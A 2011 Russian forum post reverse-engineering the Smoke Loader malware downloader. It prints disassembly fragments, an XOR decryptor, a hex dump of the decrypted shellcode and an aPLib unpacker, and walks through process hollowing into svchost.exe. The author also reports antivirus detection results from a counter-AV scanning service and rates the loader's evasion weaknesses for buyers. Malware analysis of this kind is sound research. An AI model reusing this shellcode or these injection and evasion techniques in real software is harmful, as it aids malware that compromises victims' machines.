Реверсинг Smoke Loader, обзор загрузчика файлов

Тема в разделе "Статьи", создана пользователем TDI, 8 дек 2011.

  1. TDI
    TDI Новичок
    Симпатии:
    32
    Автор: Chococream
    Источник
    P.S: Ответственности за реверс не несу,
    всё в ознакомительных целях.

    ​


    Добрый день!
    Полазив по трекерам, наткнулся на свежеиспечённый билд Smoke Loader.
    До этого на конференции кто-то выложил его, сейчас же бот немного видоизменился :)


    Я не буду описывать то, как я снимал криптор, приступим к основной части.
    Размер файла после распаковки в памяти: 12 288 байт.


    FalseEntryPoint():
    Передача управления через SendMessageCallbackA(hWnd,WM_SETVISIBLE,0,0,TrueEntryPoint,0);
    Скорее всего аверы обламываются на этом :)
    Код:
      
            push ebx
            sub dword ptr [0*04004h],1
            jnb loc_00*01589
            call GetDesktopWindow
                    
            mov ebx,eax
            push smoke_00*04010
            push ebx
            call GetWindowRect
                       
            test eax,eax
            je loc_00*01582
            push 2
            push 0
            call GetDlgItem
            push eax
            call SetFocus 
    
            push 0
            push 0
            push 0
            push 0
            mov eax,dword ptr [0*0401ch]
            push eax
            mov eax,dword ptr [0*04018h]
            push eax
            mov eax,dword ptr [0*04014h]
            push eax
            mov eax,dword ptr [0*04010h]
            push eax
            push 0
            push 0
            push smoke_00*0158c                ; "Message"
            push 1
            call CreateWindowExA 
                    
            mov ebx,eax
            test ebx,ebx
            jnz loc_00*0156F
            push 1
            push ebx
            call ShowWindow
            jmp loc_00*01582
    
    loc_00*0156f:
            push 0
            push smoke_00*012a8
            push 0
            push 0
            push 9
            push ebx
            call SendMessageCallbackA            
    
    loc_00*01582:
            push 0
            call ExitProcess                     
    
    loc_00*01589:
            pop ebx
            retn
    TrueEntryPoint():
    Получаем адрес kernel библиотеки.
    Код:
    pushad
     xor ecx,ecx
     xor eax,eax
     mov esi,dword ptr fs:[030h]  ; PEB
     mov esi,dword ptr [esi+0ch]  ; PEB->Ldr
     mov esi,dword ptr [esi+01ch]; PEB->Ldr->InInitializationOrderModuleList
    
    @@:
     inc al
     mov ebp,dword ptr [esi+8]
     mov edi,dword ptr [esi+020h]
     mov esi,dword ptr [esi]
     cmp al,1
     jnz @next
     mov dword ptr [kernel],ebp
    
    @next:
    
     cmp byte ptr [edi+018h],cl
     jnz @b
     mov dword ptr [kernel],ebp
     popad
    Далее получаются адреса апи, при этом используются хэши, вместо имён функций(парсится таблица
    экспорта у kernel библиотеки).
    GetModuleFileNameA,CloseHandle,CreateProcessA,VirtualAlloc,lstrlenA,Sleep,ZwCrea
    teSection,
    ZwMapViewOfSection,ZwUnmapViewOfSection,ZwResumeThread,ZwGetContextThread,ZwSetC
    ontextThread.


    Спим 2 секунды.

    Создаём ZwCreateSection виртуальную секцию, далее проецируем её в а.п. текущего процесса
    (ZwMapViewOfSection).
    Если всё прошло удачно, то выделяется VirtualAlloc(0,1000h,MEM_COMMIT+MEM_RESERVE,PAGE_EXECUTE_READWRITE)
    кусок памяти размером в 1000 байт и в него байт за байтом, размещается расшифрованный шеллкод.

    Процедура расшифровки:
    Код:
    decrypt proc from, to, size
            pusha
            mov esi, from
            lods byte ptr [esi]  ; Загружаем в al первый байт в шеллкоде.
            mov dl,al            ; Это и есть наш ключик.
            mov edi,to
            mov ecx,size
    
    loc_00*01353:
            lodsb
            xor al,dl
            stosb
            loopd loc_00*01353
            popa
    decrypt endp

    Дамп секции:
    Размер шеллкода:
    6198 байт.
    Код:
    00393FFA   00 00 00 00 00 00 E8 00  00 00 00 5B 83 EB 05   ......e....[?e.
    003A0009   31 C9 64 8B 71 30 8B 76  0C 8B 76 1C 8B 6E 08   1Ed‹q0‹v.‹v.‹n.
    003A0018   8B 7E 20 8B 36 38 4F 18  75 F3 89 AB 00 05 00   ‹~ ‹68O.uo‰«...
    003A0027   00 8D B3 04 05 00 00 E8  52 01 00 00 8D B3 20   .??....eR...?? 
    003A0036   12 00 00 AC 88 C2 89 F7  8B 8B 10 12 00 00 49   ...¬?A‰?‹‹....I
    003A0045   AC 32 C2 AA E2 FA 6A 40  68 00 10 00 00 68 00   ¬2A?auj@h....h.
    003A0054   40 00 00 6A 00 FF 93 04  05 00 00 89 83 00 09   @..j.y“....‰?..
    003A0063   00 00 89 C5 89 C1 8D 83  21 12 00 00 E8 57 01   ..‰A‰A??!...eW.
    003A0072   00 00 89 EE 81 C6 00 01  00 00 6A 40 68 00 10   ..‰i??....j@h..
    003A0081   00 00 8B 46 50 50 6A 00  FF 93 04 05 00 00 89   ..‹FPPj.y“....‰
    003A0090   83 10 09 00 00 60 8B 4E  54 81 EE 00 01 00 00   ?....`‹NT?i....
    003A009F   89 C7 FC F3 A4 61 89 80  34 01 00 00 60 0F B6   ‰Cuo¤a‰?4...`.¶
    003A00AE   4E 06 83 F9 00 0F 8E B7  00 00 00 81 C6 F8 00   N.?u..Z·...??o.
    003A00BD   00 00 51 8B 4E 10 85 C9  7E 0F 56 8B 7E 0C 01   ..Q‹N.…E~.V‹~..
    003A00CC   C7 8B 76 14 01 EE FC F3  A4 5E 83 C6 28 59 E2   C‹v..iuo¤^??(Ya
    003A00DB   E3 61 60 89 C6 89 EB 8B  43 3C 8D 44 18 18 8B   aa`‰?‰e‹C<?D..‹
    003A00EA   50 1C 89 F3 8B 43 3C 8D  44 18 18 29 DA 8D B0   P.‰o‹C<?D..)U?°
    003A00F9   88 00 00 00 8B 36 85 F6  74 2E 01 DE 83 3E 00   ?...‹6…ot..??>.
    003A0108   74 27 8B 3E 8B 4E 04 83  E9 08 D1 E9 83 C6 08   t'‹>‹N.?e.Ne??.
    003A0117   31 C0 66 AD A9 00 30 00  00 74 0B 25 FF 0F 00   1Af©.0..t.%y..
    003A0126   00 01 D8 01 F8 29 10 E2  EA EB D4 61 89 C5 8D   ..O.o).aeeOa‰A?
    003A0135   BB 00 12 00 00 03 80 78  01 00 00 8B 48 14 0B   ».....?x...‹H..
    003A0144   48 18 74 28 8B 70 20 01  EE 8B 50 1C 01 EA 8B   H.t(‹p .i‹P..e‹
    003A0153   12 01 EA 8B 0F 8B 36 01  EE 3B 0E 75 10 8D BB   ..e‹.‹6.i;.u.?»
    003A0162   14 12 00 00 57 8D BB 00  10 00 00 57 FF D2 6A   ....W?»....WyOj
    003A0171   64 FF 93 08 05 00 00 EB  F6 C3 EB 08 E8 09 00   dy“....eoAe.e..
    003A0180   00 00 89 46 FC AD 85 C0  75 F3 C3 56 89 C2 8B   ..‰Fu…AuoAV‰A‹
    003A018F   45 3C 8B 7C 28 78 01 EF  8B 77 20 01 EE 56 AD   E<‹|(x.i‹w .iV*
    003A019E   01 E8 31 C9 C1 C1 08 32  08 40 80 38 00 75 F5   .e1EAA.2.@?8.uo
    003A01AD   31 D1 75 EC 58 29 C6 D1  EE 03 77 24 0F B7 44   1NuiX)?Ni.w$.·D
    003A01BC   2E FE C1 E0 02 03 47 1C  8B 04 28 01 E8 5E C3   .?Aa..G.‹.(.e^A
    003A01CB   60 89 C6 89 CF FC B2 80  31 DB A4 B3 02 E8 6D   `‰?‰Iu??1U¤?.em
    003A01DA   00 00 00 73 F6 31 C9 E8  64 00 00 00 73 1C 31   ...so1Eed...s.1
    003A01E9   C0 E8 5B 00 00 00 73 23  B3 02 41 B0 10 E8 4F   Ae[...s#?.A°.eO
    003A01F8   00 00 00 10 C0 73 F7 75  3F AA EB D4 E8 4D 00   ....As?u??eOeM.
    003A0207   00 00 29 D9 75 10 E8 42  00 00 00 EB 28 AC D1   ..)Uu.eB...e(¬N
    003A0216   E8 74 4D 11 C9 EB 1C 91  48 C1 E0 08 AC E8 2C   etM.Ee.‘HAa.¬e,
    003A0225   00 00 00 3D 00 7D 00 00  73 0A 80 FC 05 73 06   ...=.}..s.?u.s.
    003A0234   83 F8 7F 77 02 41 41 95  89 E8 B3 01 56 89 FE   ?ow.AA•‰e?.V‰?
    003A0243   29 C6 F3 A4 5E EB 8E 00  D2 75 05 8A 16 46 10   )?o¤^eZ.Ou.S.F.
    003A0252   D2 C3 31 C9 41 E8 EE FF  FF FF 11 C9 E8 E7 FF   OA1EAeiyyy.Eecy
    003A0261   FF FF 72 F2 C3 61 C3 00  00 00 00 00 00 00 00   yyroAaA........
    Работу шеллкода я опишу чуть позже, а теперь в секцию помещают:
    1. Результат работы функции GetModuleFileName, видимо для удаления исходного файла.
    2. Имя экспортируемой функции, в нашем случае "Work".
    3. Пакованный(при помощи библиотеки ApLib) файл и dword, показывающий его размер.
    4. 2 хэша для апи: VirtualAlloc,Sleep.

    Происходит вызов ZwUnmapViewOfSection и данные оказ-ся в виртуальной секции.

    Теперь создаётся процесс CreateProcessA(0,"svchost.exe",0,0,0,CREATE_SUSPENDED,0,0,si,pi)
    в приостановленном состоянии, в процесс svchost.exe проецируется наша секция с шк, затем
    получается контекст процесса ZwGetContextThread, и меняется eip ZwSetContextThread на точку
    входа нашего шк, далее поток из спящего состояния при помощи ZwResumeThread снова возобновляется,
    а исходный процесс завершается ExitProcess(0).


    Мы оказались в созданном нами процессе svchost.exe.

    Получаем адрес kernel библиотеки:

    Код:
     xor ecx,ecx
      mov esi,dword ptr fs:[030h]  ; PEB
      mov esi,dword ptr [esi+0ch]  ; PEB->Ldr
      mov esi,dword ptr [esi+01ch]; PEB->Ldr->InInitializationOrderModuleList
    @@:
      mov ebp,dword ptr [esi+8h]
      mov edi,dword ptr [esi+20h]
      mov esi,dword ptr [esi]
      cmp byte ptr [edi+18h],cl
      jnz @b
      mov dword ptr [kernel],ebp
    Находим адреса 2-х апи: VirtualAlloc,Sleep.

    Расшифроввываем образ нашего файла:
    Код:
           pushad
            lea esi, offset shellcode
            mov ecx, size
            lods byte ptr [esi]  ; Загружаем в al первый байт в шеллкоде.
            mov dl,al            ; Это и есть наш ключик.
            mov edi,dword ptr [ebp-4]
            mov ecx,dword ptr [ebp-8]
    
    loc_00*01353:
            lodsb
            xor al,dl
            stosb
            loopd loc_00*01353
            popad
    Выделяем память для файла VirtualAlloc(0,4000h,MEM_COMMIT,PAGE_EXECUTE_READWRITE).
    Распаковвываем файл:
    Код:
    _aP_depack:
    ; -> ESI - pointer to source
    ; -> EDI - pointer to destination
        pusha
        cld
        mov dl,80h
        xor ebx,ebx
    @_1_literal:
        movsb
        mov bl,2
    @_1_nexttag:
        call @_1_getbit
        jnc @_1_literal
        xor ecx,ecx
        call @_1_getbit
        jnc @_1_codepair
        xor eax,eax
        call @_1_getbit
        jnc @_1_shortmatch
        mov bl,2
        inc ecx
        mov al,10h
    @_1_getmorebits:
        call @_1_getbit
        adc al,al
        jnc @_1_getmorebits
        jnz @_1_domatch
        stosb
        jmp short @_1_nexttag
    @_1_codepair:
        call @_1_getgamma_no_ecx
        sub ecx,ebx
        jnz @_1_normalcodepair
        call @_1_getgamma
        jmp short @_1_domatch_lastpos
    @_1_shortmatch:
        lodsb
        shr eax,1
        jz @_1_donedepacking
        adc ecx,ecx
        jmp short @_1_domatch_with_2inc
    @_1_normalcodepair:
        xchg eax,ecx
        dec eax
        shl eax,8
        lodsb
        call @_1_getgamma
        cmp eax,32000
        jae @_1_domatch_with_2inc
        cmp ah,5
        jae @_1_domatch_with_inc
        cmp eax,7Fh
        ja @_1_domatch_new_lastpos
    @_1_domatch_with_2inc:
        inc ecx
    @_1_domatch_with_inc:
        inc ecx
    @_1_domatch_new_lastpos:
        xchg eax,ebp
    @_1_domatch_lastpos:
        mov eax,ebp
        mov bl,1
    @_1_domatch:
        push esi
        mov esi,edi
        sub esi,eax
        rep movsb
        pop esi
        jmp short @_1_nexttag
    @_1_getbit:
        add dl,dl
        jnz @_1_stillbitsleft
        mov dl,[esi]
        inc esi
        adc dl,dl
    @_1_stillbitsleft:
        ret
    @_1_getgamma:
        xor ecx,ecx
    @_1_getgamma_no_ecx:
        inc ecx
    @_1_getgammaloop:
        call @_1_getbit
        adc ecx,ecx
        call @_1_getbit
        jc @_1_getgammaloop
        ret
    @_1_donedepacking:
        popa
        ret
    Выделяем память согласно ImageSize из PE заголовка. Дальнейшие действия я не описываю, т.к они
    относятся к теме PE загрузчика, там всё просто: расставляются секции, таблица импорта и управление
    передаётся на заранее записанную функцию "Work".

    Кстати, если посмотреть на файл в памяти, то судя по PE заголовку - это dll`ка.
    Размер dll`ки
    : 16384 байт.

    В точке входа экспортируемой функции всё также просто:
    Получаем адрес kernel библиотеки.
    Код:
    pushad
     xor ecx,ecx
     xor eax,eax
     mov esi,dword ptr fs:[030h]  ; PEB
     mov esi,dword ptr [esi+0ch]  ; PEB->Ldr
     mov esi,dword ptr [esi+01ch]; PEB->Ldr->InInitializationOrderModuleList
    
    @@:
     inc al
     mov ebp,dword ptr [esi+8]
     mov edi,dword ptr [esi+020h]
     mov esi,dword ptr [esi]
     cmp al,1
     jnz @next
     mov dword ptr [kernel],ebp
    
    @next:
    
     cmp byte ptr [edi+018h],cl
     jnz @b
     mov dword ptr [kernel],ebp
     popad
    Далее получаются адреса апи, при этом используются хэши, вместо имён функций(парсится таблица
    экспорта у kernel библиотеки).
    kernel32.dll: IsWow64Process,GetProcAddress,GetModuleHandleA,lstrlenA,VirtualAlloc,VirtualFree
    ,ExitProcess,LoadLibraryA,FreeLibrary,lstrcatA,lstrcmpA,GetComputerNameA,GetModu
    leFileNameA,
    GetTempPathA,GetTempFileNameA,CopyFileA,CloseHandle,CreateProcessA,GetFileSize,C
    reateFileA,
    ReadFile,WriteFile,DeleteFileA,GetVersion,SetFileAttributesA,GetSystemDirectoryA
    ,SetFileTime,
    GetFileAttributesExA,CreateMutexA,Sleep,CreateThread,GetProcessHeap.

    advapi32.dll: RegCreateKeyA,RegSetValueExA,RegOpenKeyA,RegCloseKey,RegEnumKeyA,RegEnumValueA,
    MD5Init,MD5Final,MD5Update.

    ws2_32.dll: WSAStartup,gethostbyname,socket,ntohs,connect,send,recv,closesocket.

    user32.dll: wsprintfA,RtlGetLastWin32Error,RtlAllocateHeap,RtlReAllocateHeap,RtlFreeHeap.

    shell32.dll: SHGetFolderPathA.

    Main():
    Вначале инициализируем сокет, получаем имя компьютера GetComputerNameA, затем высчитываем
    md5 хэш(MD5Init,MD5Update,MD5Final) имени вашего компьютера для дальнейшей отправки на сервер.

    Я полностью проанализировал работу лоадера и честно говоря ничего нового не увидел.
    Судя по вышепривидённым апишкам можно говорить о том, как он устроен изнутри, не прибегая
    к дизассемблированию всего файла.

    My opinion:
    Автор лоадера создал своеобразную матрёшку:
    1)Криптором файл размещается в памяти.
    2)Создаётся процесс svchost.exe и туда маппится шеллкод.
    3)Из шеллкода распаковвывается дллка и маппится в svchost.exe.

    Минусы:
    1)Нет обфускации, т.о. в памяти один и тот же кодес, что упрощает работу аверов.
    Я проверил сэмплы на scan4you.net, рез-ты таковы:
    DLL: Avira, Essentials.
    EXE: Avira, BitDefender, F-Secure Internet Security, G-Data, Kaspersky, Essentials, NOD32, BullGuard.


    2)Нет антидебага.
    3)Код не оптимизирован вообще.
    4)Технологии давно уже паблик, но думаю лоадер подойдёт для бюджетного варианта.
     
    8 дек 2011
    1 человеку нравится это.
  2. onthar
    onthar Продвинутый
    Симпатии:
    224
    Ух, захватывающе. Люблю подобные обзоры реверса.
     
    8 дек 2011
  3. Dr. MefistO
    Dr. MefistO Крывіч Глобальный модератор
    Симпатии:
    90
    Нифига не вкатил(
     
    8 дек 2011
Загрузка...